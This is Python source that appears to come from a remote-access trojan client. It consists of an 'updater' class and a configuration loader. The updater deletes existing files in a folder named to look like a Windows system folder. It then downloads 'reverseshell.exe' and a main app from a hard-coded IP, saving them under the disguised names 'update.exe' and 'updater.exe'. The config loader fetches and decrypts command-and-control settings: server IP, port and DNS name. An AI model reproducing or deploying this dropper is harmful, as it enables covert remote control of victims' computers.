class Updt(object): version = '0' crypto = CryptoLib.CryptoLib([2, 6, 4, 8, 5]) dirPath = 'C:\\Users\\Public\\Windows\\' fileName = 'update.exe' filePath = dirPath + fileName mainAppName = 'updater.exe' mainAppPath = dirPath + mainAppName fileUrl = 'http://85.255.5.44/vxsrfp/rxso/reverseshell.exe' mainAppUrl = 'http://85.255.5.44/vxsrfp/rxso/mainApp.exe' versionUrl = 'http://85.255.5.44/vxsrfp/xkv{nqt.html' u = update.Update() def update(self): self.testPath(self.dirPath) _version = urlopen(self.versionUrl).read() _version = _version[:-1] if self.u.getVersion() == _version: return "Client is up to date." else: os.remove(self.filePath) os.remove(self.mainAppPath) urlretrieve(self.fileUrl, self.filePath) urlretrieve(self.mainAppUrl, self.mainAppPath) return "Client will be update at next start." def testPath(self, path): if (os.path.isdir(path)): pass else: os.makedirs(path)
class ConfigManager: crypto = CryptoLib.CryptoLib([2, 6, 4, 8, 5]) IpAddress = "" Port = 0 Localization = "" DnsString = "" Dns = False online = True def __init__(self, url): if self.online: self.LoadOnlineConfiguration(url) else: self.testDirs() self.LoadConfiguration() def testDirs(self): if not os.path.isdir(os.path.join(os.getcwd(), "Data")): os.makedirs(os.path.join(os.getcwd(), "Data")) def LoadConfiguration(self): path = os.path.join(os.getcwd(), "Data") path = os.path.join(path, "config.cfg") if not os.path.exists(path): configFile = open(path, "w+") configFile.write("dns=0\n") configFile.write("ip=127.0.0.1\n") configFile.write("hostname=localhost\n") configFile.write("port=6666\n") configFile.write("localization=en-US\n") configFile.close() with open(path, "r") as configFile: config = configFile.readlines() config = [x.strip() for x in config] words = [] for c in config: words += c.split("=") if words[1] == "0": self.Dns = False elif words[1] == "1": self.Dns = True else: self.Dns = False self.IpAddress = words[3] self.DnsString = words[5] self.Port = int(words[7]) self.Localization = words[9] if self.Dns: self.IpAddress = socket.gethostbyname(self.DnsString) def LoadOnlineConfiguration(self, url): config = urlopen(url).read() lines = config.split('\n') cfg = [] for line in lines: line = self.crypto.Decrypt(line) cfg.append(line) words = [] for c in cfg: words += c.split("=") if words[1] == "0": self.Dns = False elif words[1] == "1": self.Dns = True else: self.Dns = False self.IpAddress = words[3] self.DnsString = words[5] self.Port = int(words[7]) if self.Dns: self.IpAddress = socket.gethostbyname(self.DnsString)